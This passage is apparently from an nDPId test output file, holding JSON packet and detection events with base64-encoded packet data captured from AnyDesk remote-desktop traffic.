J5SjB8fLtqpeEGvOYKpxkxpfUpdhMjXQwsYL8FOqf0GG9Gcppis9cCjDELGR1WZSs8bouEylUTvmgNxznrPxcoSKK9ogxKHDXHjCzr5Kvw2yeRQa7wANLnrDTrdWHfJRrhLHea2NYOTbflrFrY3oCNupgPUsrwDHCUmiRbKojDdW98WuJrPLUZ1\/WxBAg3FDRskeIbX\/H0vH9b+tl9QWhEM9hw\/OPU9GDWNyFtBSE5vsuyX4nnm5DIQAQFh7OGxJtnIdGeYR0m91E5QTqoZnppMrb5w7zcyarn8JpoCXFgtK6GhtidoxC2bWOcUcVZ92FGJceZruh1zWik3tguhV6+uORI5y6c9thMijG62uGC02jGzWftGS\/ewemkXt\/oW+54GGVt68CvEtGSeemk3Y1G6iQn3glk7fPLbxtw1INZOa9PeOcs2ihfNRQlV0XCeHE6dkZdI4CC8N1E9mMhEpHUz41vf6b1PlWgCqh1TLtYmNnVQAnVajtWN2emJSHN4uDPBo1dKLrj1ylP9\/8rXcWXaEPuXrHQbm1ZHB4LR8PtV8xJsvcW\/SBnvRr0WVaa5dd0OKGiPDWWv9audxnZDwwyl0INYChKbktqc7QEZNdKcVmWteOkF+JgoxwAKbadF4YoDkeQZUEqxrcbpeP17Rn8l0yJtgxmlqY1FEebtb5EfN\/agmtWO7b\/B2+aMzgkPnpXwadd79M8GEqD+YsI+gbj2XXf30+X674R5IF8GoK7tAcxxg99g1iS42msBCz\/tqgslAZUFk7sQm\/CC6sQ8H91hGbYm05CcAXSYym6iEMhRQWn+ru4W2+orV3H+nc3Zl7+nsjebLK\/cTfzP0MCAlZX1TpItYhzqNSadfLkHHtq6BFWLlBproivtZAhTJw5xxSsLjPU\/8V5Rr6zAlOPkO2TmHY4CHbWYzf\/MO5e02zffjrLXjmAP6oF8zBY3xvHZ+TeM2XZLTD96A2VfyhN9QYlbcRGXKd8WcPGs\/KIqN7DOaGF5+U1KbR\/W5n3arMHbfN1jbKUfV2hAdPscLJ4ugNWoa\/wdeg7yuVWnbZDcnBrreOSG7FKEVwc82tAj8+pudvZu1FKN\/yc03QTpst05BQIJMhEPgMY0QqDsNATDPvpgKdW\/EV\/Nw4ESC5UrNNrg1wXxrfnCXBmdYHggMJ4TPYKXqG7TX1u15GQcV3PAF2W8B\/5whWoKc0dbVw12wclC4tkrdVRUUeQZ3\/e1vSbjLf4jyoQYt7jbKcuWWANIVYgvs1B5sV0vj0STQ1nDr5IcOCGYkk2cjKnL\/B9B5i2ihHoQfx8a8DhAJZx2KdADNcO1KniAmj23LjochighPOrnuJR2gfOHwi3O4mneU8kiFsnnXfAD8XRJNNZYUoBOqxT\/bQag1TORx+902DteURjChUO3evD9HuTy5WAopREs1xjwWfFdyypiQ+OQKC670sHWwSm2TaF2H14vnO93dD6021QYEN+ieGuAnlUqL6mJwViqfS0UuS8w5qXi\/\/1lqZYOT1JMQ2MsPxF8neznQf5lVY9\/5YgLAsFg5uTXpZ0kB7K0EE7Dmsucmtfp6Mu2mfz6nOH2TJIGhFTpTw00lo8nYoPadzVWCV6OBwkFrx+8dRcyUBQLdO7q5K\/FE2FDanY+SS9g3iHjgD5lHbBvINuCL2iKCNRbotWVFhh5lt25a1JK7M89Ta\/8QNA7qpO44SryvS2vv\/Zqpj+TmyDtnNEwEfUfR25dbGgbeKrNrQtY3DrQKeeQxnt6hqgVj\/nBuXR5DvtOdvnIERpb7SWOQsbbKx+0QDP3IHecfZmnBw7hyFrQ91HDyEaq0ZPmAEOB3MiS2iyCWf2+xVt0yNFvqIkWxC2fYgYTscEZAOdE9m3FrqZNWmeABKq85hXRSqDZYsroNCxqoJeEHFRlQj0haapTREmpv19N03T4DFVFVWaZorM+tcHb2k\/LHTimqpdAeMasNkg4UwxLpT\/C4BhtQ\/GgeT\/2NZOkTxvCkse\/Z4cbsUs3k5usx1lsvwlnEHVy7e1lJbsA1Y4NyE4niWRO75vDhY+eJur2mqKTXAFTwH4Co4HNi8HwOFK5eUFzFidmz4qOVFqb9Gce7iP3NBxGNSwBkzxBEq6\/2\/Ojc5MrX4lB09ocRhUZjmoBnTrEOc3vE4Wi51ehwdK\/3lmnTtO4ewpRtWVKLYIXZcRZRxvjLQqv6ZhQbzsJtFN8HpKebXH2x\/Jpab89Jj0jBct0SM0BShU7s0PwtR6tWUDyAEibqkq2TjEA6HnUc88c6Jf9nxDH2q4+Mztgl2rSW0JnsIjnciFICORIVPnvrjS9ffgksglTuPoDAXWA\/inST7NDlBCL1dM\/6jhsUyzygqZgIvByr0xmMr1XZb9+ygD280O2jpwXB\/Vr0zgS87JO2dAeyE1SVHDX0ZaSurYmuA3dG71YQlKk1AITz5zIr72IJFdhGBj0VLhqQLI6uVnGTRdsJyhc0hmBI5P6GIrxYgUG4+FJR4yq4e2CW3J3tnw2jG\/tKkLl\/BzEHYT0ZaPICnUX8J\/egoPs112skrr4FwMt3QnJO8A0Xx4A29ZwL20DD9uE0Tw+tGaMOhexM+9cfF77GyOVA5OcLMCqE9ew+xgsxX\/CjISR9G7snbZEb87seaBX5I4MPESm+cxrd2ojL9X5fdOaDmIdmZh9XipY+7+JfOFQBod7tca4yRtW2NBKOBtMfLO3beP\/3yR6luq4N\/LMaJJba2Kn7XLdLTuPTqh2Reh1YIybt64fyRoWoGz8vs10UN3LJEGd+mT\/dGVZ1KfBrsrpE4dyGBsxGHjsiPYolXH1cZVqIIpkK2FgjYLJSr9w79zOfSf8or2KCIVa92sMP35g+wGWQaKON2O6TkDJ13sGKzrititdDmmw5r9l7lFTTg2S8CEn6e15Gnhanpaqs7GBsgXqYRL\/TBhIZXGMSRyVXoBkYCeFISQsGCOjCO3mIK2TKM\/WoqhYQrMdZ8WaW5WaTvY2JhUzm5Oc\/SDAZWb+sXNcOdcj\/lyZDINlqt4ZOkmYChzvq8uLIiNPoqCcPHEXoqrNfJ+KmsT1abGOAAfi9QlSw0NX1xFfrivaNc3thyaQaj4Mejfzvtb6g4EqIuBxZ2+3oifkwUHlQCgBXGN3rAPU\/wTAJpO+NKlyq7ncn5W+UA1MUkBiNBiE7KwA3ksTBgcsvrHjY6u0kzrq\/cH43NakWbc1MM7u+9kF+v5XckPqT1KQAGQZSuJ8fMKJ761Tmz9Rkupi+y7zsthM\/5Bs+1CCsQb1Ub6X05JK0OCevA6Iet9Ap7d9r0L9eHYrsCkLYR9hd0XZ2r0YTQZGq5D7x2ySLVSTl7eyzssqjfwsTVyUQC5TW12uxA9BDJb3kXC\/cG4le+U91UFkceG2ME0F2Cy0A968axZ0jNW+GVpfKLR0MQkAoiW9srFca59u0JrvmY1jvUpN2iy9+rM1NEivgI0C0uQ9oU8PoKaNiLQ60oJAeHVt5+nbqdBgbgFy6XpOQbCdTsOrlaqHyQ2uwolKWns6WBYLX1S9MnyKtDVg0j8OWGCAN8bqfJbmCNEMJJj+8GAAeuQlPKvKvVxnQsjOODukJBxnVfYJl2co1QhP0vxvox2QjI\/AZrbIzCn1izwaGarbYa0lBdDsVeo6h1wy8OU3SKACCyk3jFQiRPFpCDxab5T+g0HXlXvuLmKahDQLrQkIKz8oHgmZS3dZ\/3vDOaKfw0qsUn7Ank\/Ac5fhK+7ZO+p\/iu1RU3Gu1SX0xi1AAVVILlfxafnfZ0DgTe071TP\/TZavvtOHdxgBZmDgjUBXe+XK1PzFri0FkXlNiX\/MP9YRdB3vpXuAZQNv+VyUbkgt1th4vuQLIa8aeiUGAuwvE3+epqTOxPPRlom7YRSWqJFdY1SuLUy9lMx2dSpJKqqyiLOtZ+sYE3vc+3WfWopkJBwRPQTqX\/eJQtVRZk8ntlPQ0QQwGp4BrKs+keM2Sh7IQkilaJYORbEYLxLhE9Jn1\/IS0LAiOTBI3+4v7fOMvxioWIN6k8CnxUQaUVa4wYHuL7\/xwO0u7TaRXaQKVvIpZ6+pGRl1YkfcbbXJn87UmM9FWoT1LvadUYQOCwBHbYk+acWFrqCB0+0K6L1mUvP0upqfb0EnJWPrGE0Y8G5wCarajcl4bvwhiAI1d3FowQDLf\/nkZRT1i0w+ryPLQD+7+xE7csOiYFqm72\/02OGlT2XqW8gcybX9XU1tnw4lL4RrM05We7xveOiZL0ibIjVshLeTwCi6VC08KMim0xW0\/pNkoFe8J6K+Skau5tPqSaeqwindjzmjFsIJR+JFXWfCkxP+OTSCI7z+9YTf1E9QdS4pQh+Wqhp\/5dDve8QFEuT+xOq5Zcb4rN1IDZfHGkE7ZmIR6hIBSRkQZvbCFlMAsUyWjhQidD59DoZRqtRzOAxSVwjcxJtd5IqOhakZnOMrD0Ds8zDYD+Pj3T8OMT4Ij91kIGFfJRlcGTLVbhX\/X2J6lf4bdE\/T4CtShZyJzTIcS46oNlxatnBZ6FpmbqPBkA1yDUpP9PaADRj3Fxy9FiVzgzRly8mbixNoGk7TmSJ0aUci7qg2C\/VMvxoU5rFG3v2N4aUi+6A52x+f1vpUku3NxvydpL2eiKnTTk1IEniHRUgSlMwBZg=="} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":194,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5520} +07835{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":197,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977602,"pkt_ts_usec":740969,"pkt_caplen":5557,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5557,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAdwBAAIAGAADAqAG7wKgBstOUG56PG04WWcP+aVAYA\/6ExAAAFwMDFXpZ4hNO+msUzN81xo93Ogr1y56J7dZNp3zy6uLJ60V1A4ljkuMEK1+KDvEE8ohH5vp9nLAnK+JxyxLPkWCfkrsfNscUJmFBJpCvE5mzL85ndeKjC\/2gTHSW7P\/A\/h5tq10QZnCTXxqkDKMVpF0njIEewhmlToKlIQUMp2FO6P3VkaJJoqwTAK0aOwg9WcH3rNm91mtZYnFG1Bm0gS8Zs0+5X9LId9BBAzR4S+\/A36BuFANUeIUazf7aK\/7jumVz35+6srSCdFbnQXeFrI+mxYym9P3xOkIYfc1gafk9unkjH7V1tfVSWD\/2OKE1MFvtVqfvd3luRTz0M5TGQ+ngOSoYOM4FYLlbbUBx2o9cbzf1cdNSgeoF99BbOliCp6J0mQJkJp0TEf9T4\/KArUmdD3q+0C6qxHlHK+IowT\/OZu4hnwhgY\/FY18O72vGrr7J\/z1v1iK6rIphSRns45GHUJrOT91xIl0YUiigjIP+MTYshoatK7qrsd5y8OVIUqS8d1oXuADwhxpwtbfA7O95QJOReNzqu9YhixH8ZXpDg1x0XV5ApryS\/6u57U5\/Efdkv5msIIVFHbmkkGnAAx3ZsA6\/7iUAa9sksyjM9UAWlsxCfkb+UIDmvBHVs+wQYosOVrHC6PhEax36kKt2DfH7383nh6Q5MT0bDAlaYxceTjv9jYxw\/yhgsYWFJsHiruTPDgb5RoYQ\/qj\/IakNwJRlMev6gcxspAtqhFVLI7Vo6lk7nX3+ag7dDy44bGsW1d0UI8EDRsXdYxkVZJf322tBJZ9dXf1vU\/3KkdG9WQkSAHjq9ZuBRfvM5toKN+y6KDiFFbCc4dmVLIdlOXjMGUG1dqRaglny8OeLxiMdB7aOhA5sb8Ki0OmdU\/srOViwxZkPRwU2iLnV+uJsl0dGn5m9IxegyDTL2V56iM0fMkpZs1WbVlqEM+j+g2FgDe2Lm36WuqUkFHpauCjg+vNpBRhg34fujjwZBJyIlSXXMCm1EbZlrCK69EKbJB1eJqzSR\/xne85gOHyHo44Pg14FtwwAQMOW56VYFuEkgL2rLnqFTKrHHNIkAQMSyktGS4IfsaL+fAe2bNRWE046iH6LAyLgR+VPA8xxxUFPTUdiDJyFf7ExZaJtD8eJmspbDhIQIp+UMvZhm+nCgRWXhXrFOQUOTaAEJPMBwMupq0VJrYsmAfnmUnnbCjkgNPDOyoRtwP2Aq8ASHB5wacxeXPYYTYGhz3tylrNMgGu2lWekxr4\/xK1NO\/jaqwWcjHj\/rxmvEYFenenSPTNuGTMDldg779oeJ13XpOzA6WFTN65rHNkwr+Lg8oAD3F3HfqSmPiIdh6drirstDCIawcndWAjsTG6dkvQyV0z1ji3n5wPMD2dLKyhqztBIxjPGUrNFXhh\/x4og1\/j5M5tjRb1pzJpCHRg7gW8wA5zxLd8MEHhqzJ5BJooJ+UWaREFmxwe9Zle3l39k4vo8mipojo1pzJemiwgZOG5luhhFWmKtDUttQk6ZeML8nAs0ItvsYHM2TUp+5AJ07uKzR1p3KllF44QS8rElLAmm29e0yudqSkrpUrIIsrfi2Sv5y4pr2lTkRXV+AxhS3iglWXTVhwk4g6PIagpQ93CSbsnGrBH\/q0Q4bNUV60aB9u1NqcBCnjnElhn8C457uwDm6AOVJjc8+bcIU3sAvqmWFURNFWClJvHnFJdv3tzg0cWsKfMCsspDO8pqZ64C58kNeoZT5q\/Gw3GoFNi2CLEQpUkX\/OmqXPa21JIZJ6N9rmCQgE9vYjk0FIOQpE8n5DSxvgEWOkHtADv7V7AfYzusIJEYLuYdbs2dg6UifICsgFjYGTi76kbuCALcV1oMQhu9ajJjZLonDUJcs1CFsMPIhb9\/LVKLzltld+gRHuErHs6JZs6cCjF7RHeJsbq6IoJ2DNtnjYY8MsldZD7mE7uQxJnSDdCZ8nsIuyVDSuOASSVhhoac4XfHRMkzS5rxAMm04ZQxGqTT2DzJLUbMvUw\/W2qSC3VtqQkQn71UatycvemMT8h+oyvodMhvjkUbm27AWTtpiCsNYtbpWMWVi7N43JdZfOpsn8\/O6HQAvkaWh9apoekf1WfS+9NRbyNJuBgZLJTKdVFYd62eF+mv+CkV0BVT4Y\/6Fiq5v+upEch6HLKQ+\/PyikDUbmhAOxPmMHAnRkPeZSWiGx\/t\/xQpf6gu5WCIgV9vG6DrJm205Hhl\/LbU7IaPkSUP6ZW3XitY3Nywfc0GtQV0suwKkFOEHCnBr38LKCY4ZBdHoxKLcE0DWkpp9HaHb\/Pf6lOcuH8jnn4Zd6UXAXNFow3sKbBcrseV7jhEnJoSYeoCrP6VMjYI1mPhlPi1EcgnfQlGscb8iRqIcao+QamuLoSrszyTUAcqdCZErul20LUk3qCjmFnA61r6SjVkrywljJv5oUmXoIy2saTY5+mZJfpRyHYXX6ZpRGU34h1DUUoucW1yaj2H1MKoe37f9M80xFGEmni\/ujrmoduwmUEQeGwmD72NHTweSFyUwWXgD7ju0X5KrQb9WyVSzfjadxrjK28PBXQIF2Vif5\/fDk2pfJlPxBOPNt93mQOYb5RdEN\/CyGkedBcms73lXR5oNRiOB3I65wygM8o2bkm+Wsgi6JFCvGNxzpgM9s9ZUBMi6J+iM6TMXnVOcr9OGl3mCFypj5mVLRRTKBpT2wflc1tYFW9gjhZukElzZEsLJmh4KGbGhGEf2A+sY26Z9QPv4wHnXMzAEMFZ+\/8kFX3oVvAimj61RjCkK8p+obQzuf\/nD1OKaEJRdHvD2VEkUndwQTj3j9OmMCCEdybGG26rpvZvJTpvWV3+zlsbWa2d9auBXx7nUSALRkd3VpSuxuZWebOQHFvISglT2vTpRAvvcSvG7Rd75pUl\/PWCGwhjHeL0Kf4qSngQexCgvyHh7KQ5ebQVwXPYIXTBCxKOHj4OwTRQiCHxWsA6z4Ydac4sTQnCUXVAHAvebqVy8f4cA1vaXiu1xTDUDFDb0dAeUHgylGWClkdEoqZ+lm43q4dHPGMcEgGKKJh1OU9yu4EF3AjqE+S8nlobV\/2BLd+AP21V8EeEt8eSFU31FpB6k7dINudULQ\/0wqfc5Hk9OXCzP2H\/mQ8CBuHxNKKzWsom3O8gw7dE+7XMGiZR8Il2nTQLbLVtyIiuge1AjuZdV9ntbrplPAKQbdoGxbBHGxvWwM19ZTpOB4QAZaXfmKYQDoI1vYxzE8l+3EycpUHgGSCVIhhR58xMOOfVOYK0nYIQrbu\/dZNl05mMrgBmAM6rF6lyCbSITLIaSkFlYW33fgGGz+z1OQyTooaxJc+HPbfWCnPtk+RABS96QAYAoukiHAQeiF6rk\/UtNw0+1fgqptR+Qoy2PPSWP5JNzTrpnZcnpaRnnvTssf+BgRCrgCaxLHnjMImziye37rLI8RY2xP56K4COqxXDI13bELcWcXNle+vEWPgwsc7p3xneBYx7fvYY5SG5AP4zvO084CQ0IKHWKjYdA1r56LP8FNVYict788hA6EfV3JW7UThsyr2Su+Uidv2qXCkw0wNlnD63XRiIs0RPkBaSt8z6r\/JoePk9W06ErsU\/Dx4LiDx5k8yRQd1MJOfRvgcRo3l+CT0yxGe00ff3Ny\/HkJySJHB\/Q5JkjbbQ1j09Sh9ibgw4TDnGvUE4CdKcI6fWdHGflA05qGgv3F+c+ehjVd0rWB96pEf4gyHktxv0TvXRnFvXH6lKNgx+oLi3xz9jvEXhUgpvjiQ4bfsxEBEcr2Ax1zbE2ajFvZE1HZ6LaSHbAIyu+fu3U4vjuw5uJOX8f6k\/R\/i2xgjeua7RQ6HuhGi+27bHYJQWU1FxV0XRfaY8vb\/5WfyV5LsVD\/eIWlmf7UdqnXW2wAM15b4e8Pmw0JngHqTNGWR5MaBuN09ymkJfu3sWgdV2mChcnwoYYSdsEu8xJXYjOouZCpCnbkVijruW+rSu9Rxezs7YHNCjYhbNoMi4qyQYmiI00uSWdFS7x7vEDMkgG4K9O+svi8tcWfXi9YuegB3bLEVCaNqniL1YTfJvHVd3CIqKRtZct3n1h4RLD51TFLR3\/pLrM\/aV1pD0gOBubWEAI6y7htUwO2f+tfAwFrxDNYsqs2AwST39Y7dmRUj62DnZxw50VnIEdF8AzBVUxyId\/U7Hqz4Q5x\/MNjL7OhmPIpBWCC5UF7ydMsHyDr1geB0yewZXv3ODgCz4n7Q8WTJBzzvBjx5BbvUfUjOm0m\/9ftFHlCd57\/IJhnpz\/oXNC\/oa0R12So2PMyo18NdOlioOC7KdFPsf3PPI26GFrJ+Ffkwig\/dRVybJrMur+gU5lTpDjFBR8tMAxIJK2d6GlOk5h7JRawEqTfUfhUV4lC\/gltW4+E3ZmabRNBD0Eo6xgjf1ln1dSzLzjuQU1qVIICimBByygif3Lqj\/GbFwMLiOwCC0km8hLTLc0GTI6DBgMsVY82CiqWyK1hIo2w8qY10wJXzX3OlmpOovmxV9VE1JJxZaZEigl62YG93CsFb2gtAq96aY+RPqaZZRmL+cexAkgZHZ+SGj8jYDYwh1Qbf73eIVKX9kTqR7ST6V3OU\/cq34g0sxqQpPsUoc6f0E2kEr3ixqvpaUaAMuSmII\/7I248D3tyCzM5S3\/znzmzUSlqk0lpRaiPvlwi8IopYF8jStRt\/FiPWIEtb\/Vj7vZh8CKDkkWbVIcUOnXh0pikC4Nmotv75EHYJn3qc33tX0Dn0b59\/ystqXfDLRjdLVI26Q4TanunINCm2LkZ8o2M9Y4F+Uf57hfihWq\/NKqxYIqkACD0njnvnGDhy1f7briAzF3WU47eH9kQyU6KfdFSFdp9uWnNUKdISryOlBWAYRg4li+VGE6TJf0A\/Ir\/40H1HpXocce5zSySIGrVaL8YLAX6w7zT0XWsyWL9EmksnNX9HCNZQmQ20z9RBuwnOQGuUuzAA8aQnOoa+ulQCldgGFUImSrL2AQHoGtlfQ3FkEoJBFtH+SuOC8wFciNSZ94M2MxcSukIlvLfXae4ftTLfhSIdmbpJc8cAhcsH0Thz6T2FUZ4ma3I4vq6FF9ITGLB+kDfS\/Ooxaci1yzuV7ufuFFQgfjWoUde2khPJxJWFMOtb\/m+7dCdVb0+pJdPl6K35fQKqA\/96\/P2WRqjWtMF\/tvCcCT5TQAZMQcVGMtlXorGxpCX4cbsuHka\/GbKtisetBW90L6Aw9m0zAG0Rx7ylqhaU2Nqm3+eAhftBcN6diU2TpA8XRgFAvl2AFxAYEDAG7I9uiuZwr4iJjQcv+krDG\/5qD\/nlpM+T2KdaxHQHTVWSNiSMmhuUGvUfbkKp9USyOvMA8pwjGdCyWMc+4YBCdwKF7lDHdNbW9uXV8VjNDkfJ55tLozwq\/G264nn3DUd4xzjPyGMumRyT8+9dGJLYX+7Q4AMMkNZJ0KTESDKs96sKzYGlCWcZpFPGd7sbPaTGaz6s2724bXc0VmmwcmbDtEpkPqcmTnLXK5zx1BMUXtZQQcSobpX\/C5v25IUhiigAin7tz\/DzYLm3PN69D3wrmAkbonzNVN0be3G3cHyuyF2wC7lg9f+XYaeMxSZzaa2Fb9PkZxA4XxWQk4iMpYQodaGFJ5wK\/upDyHJYFyX7hYxNxnGmPhf1qCgP\/sPOdvOKgXVxXxFyrXk7dqu0WD29ytqwesoHTaSXBax18SpwkiIWrBJ78O2H1AOpbbjzOhHEKaFmC5NAP3UXkAXseZx90ofQOC3sQGH3VT4UeqUGkitb73BZgLT8sWVwyBrMsWxO7FjeiFhGP3bNUxmz1cyjSTnNWMSVwQ95syQDiMbwXyU0UCuqQwTp7K6wKTePapcUmXgP\/ZPeQd2nuJKEVnotx9UEy+ZBWC0rU8dSuofBxqXaIPjnbcCJA4jMtaUUiYU9eWyjbV3ufd10KaCRsH5+cz3rNCICcB9Nu61HdF\/frHyw2BYayEpy8M+LgNyeHX\/Q9aT9J3LLxdRICq1KqwCvJ+r61uxWMkgULt\/zrf\/m5U\/UBepumQg0TBnD6OMl94GdziZJHQ4\/fKqtia1iUAuY4DyZIjOWHbJJkLEc3aJhgyWgqGYTBF\/6xWguGSA5UQ2y9M1Ej\/Oip\/7RDMSE+EoZ2AyDGiIUgCtRFsCAtEUNnC4f2aNgJncxXq6uFV9DVj8UqZiihBhqgufsr4My3HiHtJ05W9PWPMLYKhYkkOT9NQKZPMZI3ScnM3JKT3j\/oBU\/jsMOaOq8N1gLL1Eeb8e52th\/n7BIzeuXE2VZUg+GVekkyxErKFF\/\/n7ZYk99HL+9oVO3u81WoMicodKXQPEu4RY4i7xASivrYpwW17QsoT77BlFLXGW10XUguTKNvt\/5Fcv3yNRLxUIOk\/iZ52PSvfXjHjTwt+H1RzyrYLv4bvVvnD4RweEuf4jg6tBX42vNz4uvpHLge2VHNbSJskKnDOQ4fJNYLzpjfdx6cKiiw73rzxJ77g1KjN\/8EWIscQE8R06xjTf4EtMPAJbFmBasjm0mNCcMqIX\/F5VE1lyMyGb3nlH\/wKxocRzEmiUQgwc1DlwChcOFO+IL9ZEqD\/u4qT8\/qkH5nVNFZRTCnTQ5FHxLX3D+5HpVROcwCoZDBP8xWHM0SbkIA2\/6K+8OBI5RtWnRxr3gc+9cBdYs2eydn0gnflcjLY8FaDTCb+8nkvuT6K+sxH7o52T5StzBGYRGW6k+\/+b6oiPhRA8EqImJUHNi95ngnCgTpfhZXDPKHNZ7bYDgVC7l1JG2F+Ql4z+l1RT2iQi1GA4AB4ogym7LSPJ00qwgYPJhY4boyA+WZnBxmVlxiHXX\/SPz8dlNxagSbyOn2eCZZAe9D\/Ko1axFiy3TGDiucJhAme7woSxA4YSK+Ujw8bFUHr2PTk2RjDtsNTN+AicI4f2sUpe0AhC1p9X4SrlnCYuahpAGr87nIXwg4LLBoMECHWthe+b47ekDZpY4LmKrNe7J\/48S35HabyRpnCnY2yuBQizFwaPiNHgTXoITNhHlFE5yEY4xLmIlUaFNNTu2pKz+g4OX1Mbksvyo6ALw4p76Rfme+kZIqPNwlFA+GBs7Wg98C7\/oKR0Ey\/BjQL4ArrmtWjGhVTNXxxm4dLuZUeqrxW8K7xdGJ2jG5ISkKb9wu6MjOjOApwJcCYUOIAV+oQJQKVFhdoo0CAH7RD8v49bIA+R9oy+iVXjJxAZoX85EdVRWGkXUikvyqgtPzHkOdax9+DKqmCJQnAmqxoJUsdtc0JeBfXHHIP+Mm7Ehjkbe49MlmNf206DJ8EIS\/vMo0H1qgQ41Z2uNxIXo5MCWfsZWUViTu45aGlzbbKf8mciadslbD7Ew=="} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":197,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5523} +07828{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":201,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977602,"pkt_ts_usec":741537,"pkt_caplen":5554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5554,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAdwVAAIAGAADAqAG7wKgBstOUG56PG2OVWcP+aVAYA\/6ExAAAFwMDFXdZ4hNO+msUzYesDa0zhIM7jmSt3U09PG22qsyhNt7o4B7RXADlf1vPEQVpJWbj1ERaeJJNjQPW0siAzzmE5MlTH68HUo232tMyqZ0kmDBBT7I6dSqsDGlCUd7\/Rk8hz3QpIKMQpmNARi987fAbenrEcccMJHBS7KBh0rGerEfY5Qq38EXICE39UAA+VCIt+MLeo+zJSOPzxrsA6eLunRTFpH8XlP8jirZLUTmAZhv+tUOiKg+cunIr67Ez99fjuar5jgaYPGkPJuGbTsNLqX24PFvqUHOmpTDFC8USpP1PXir8UqLARSpAdR8nQVRlSN7wpSMiaabTh4qpcQrZujyNss50W51rxmWIGKnvnKnTjj50EkaYgUpY73536fzpHuezHjfS+CmyU6x+\/AL\/2noVP\/ISwtPgRb6+uA23ToJZiiJBILomqEn9D4okjfv95ieDhF6psWnbcaUUVEv0xSJflxAOtebAul1vEXMYfsQZgByxvghFS0xBIX\/B6VLczsmNJzRX0CxYMS6urtJouOliTlVo1DcuFLs6151zi0wdmrwaJvdLPh92RG090WLAYXBqAaQG\/B2S1h+ceJjHs+qJxa5ycUoZ+bNMGWQ+Xd8f0XN6dZaOkm1VaG7MWNiYZbZ9D\/SQXqTzJM+5OXMX+1l6vKkhraxU7EBv6AKAj3bIF2ByBzX+70pi38HmonqvewW\/L6J4jt6gt4\/PxqCPleDe2nFOdBZflt8h7FGhRERx6uRIPPoyb1AccB9OyMvcf+veb8IBKhPuCxjfCN\/RN6Q7QR3q\/Yfp1jA3bW\/zfABDnbQoRL+T0IMiuXCk03U4tk5bb\/cnN90flMCuR4vO7gtYNHAiZrb5jUkaETZ0Mk06pI8o9SHc6N\/N1Ay7wj8GukHZYmN\/Sz4KRXauGFRBoUXm1GHeGQbKFlFGy45epuxJJNmSMyFo13ozyaZkgrbW1ESEbAR82abuqyvKlFsJ94RCQwxlONoYYhnoBXrLr3J88Nmv8+\/dL84v0Z34oVJRpL6xC8lfSN+dmFLpvny1JepzHrb\/cy47ETYf4ptfSeKcOvi6Dj\/XtYVKDBxY4mmdMcA0gfTrjjWvK7wUsfj+MKT32HJ4Sntf+bDwYdVUj+uqZRMPW9cCQdp5T0uJxenopOihQc6w04Nm86\/3+CfdWG8\/Bq4xTUxhZaSKLu8jD\/9YPOl6XBeRFpfVJmV+ITIzkJRm4OmBm3vc6iCIdAwz3ybUyl+Mia5d0o4uetLLzp719KnHYjB7HPY6yK5MNAvdGoqnX6e3iuxa2lgcgtrv8SIshcAZeCLOOz9hL\/H5r0txvvxZUw\/NHwor3vWj0utFle6mTKFDgMI+qsGAqbENDl3oHE07LnsZHRwHy0tT78zYtnUU4zgzcRNqX5Mq5Y3x6mq\/5pxTZOnSIvp9fyjPCbPqRL4\/rqL9nB6cJM6\/J4AS9UcLr02fYyB+tDytcfKywqssX7bw2pF1hZ0NVfsCD440GxDqMRtlO0z6SFY7kdkdzD8SE8o5TwNqyD+jlaMztoALj\/I7O2575gj9YOMsH0bfq6uFI4Dey5hUlAUh0oGeZJfLm4\/ZM3sp6BaKEbC8odwSCW1+ghvtOhvOaH\/f6uMN1IC22znbAG1bBm8SAJlpHN6\/FmASl1QYQqAiPuh6QY8qciTeQdCmg4UVfLbaY3m18vvuTgOCQSIlyTm4gw2OIie7I9EszHRfGWXE2Q8QpgwqTzjKADxpfi0lq+Y0mHMwJRSIo3qKh6VASXsMXh5W4A+ON7vSaOzOJHby47a6hzOhf\/havymxB0zQ+6SPNECCdSCcEJbC8+noeNVyjZIG6m84ldNYhFtRbEcQ9GaU7P3GG8oODh9bqv+ljX78HFw4uNz8Dw1G7BtvCtssVE8b5O8XZVZH1Q016\/h+3f0xx5MoMVGOeRYtotru5ybSFNYEJLWPc3cmV\/s+N07I1IpUMMcSwQE4imbWdz6iKk7UsHZ8SA1C51Pk5KbiyAOLfT5BF7TRaxX07Jqf2b\/lo9arMupaHBRghZXNLS+b8jeBWRzZ38\/Nq3+iEp6+XgGH7fAZllSksXebE0Q0VLhm9YmMWTVOc3ogIYwGhR2cY\/uZdNHbpkX7J2atZ3IqlJAWQdseAF1gGVnTk3lVrqbPU\/tOwx49PLhrOzo0\/gN5rW8eeyuZxFdLGOYtJescHdNips0wcFfPmDYR+Xn3KRVWftrRcPt4Fu9J5lrtYBEMfd7OosVDSKSmRZF1uvDe4w3cQKX3sxHfw170z2AOgvYhfh3nPbp0FmtaZMzD7XAcf0gIR9FzdIAhNc8IS0Lq41R95YU3YRgajK8KzbGw\/Hf3\/shA0DpLLD0j0qDAG6ijPU+D8eNGJvp7T+hDLBn+nZFli3FkEYr6W+0Wrh7qg8Q5rhxOh27oSmRU+b21FpZlK\/Hhmoxfs742cisVbSeviSRlF8gzxi1AJ7xuvn05+jM15e6Cgd0Lib4qVbi\/LninHC0S1hpvb7t0h0zilokk6lUmTX805t\/pnC9nKM2VpYmQQtKvbe68kwkgh4BYccYh9vDnCS8PTh0U0CqQVYoXr2kzcb15n54k\/3QQ7Txno4X7HXIK\/\/j8dn2NBtHN9hRkbC93vhyaCz+NrW2ypyJfi6SsQX7CvpARyB8U9ah48uq1ALWVPx90yIMDNpKXPxq\/vgVouWVT\/n3mFeTqOh2nEcsWBqc9ZjZjaNzRjmxLvs1q8vm7abb5R0gfpw\/LvTnDg14gieWFcY2xd6ijzevWq99rcBz+SR4roudrhgc+9EQeTWNG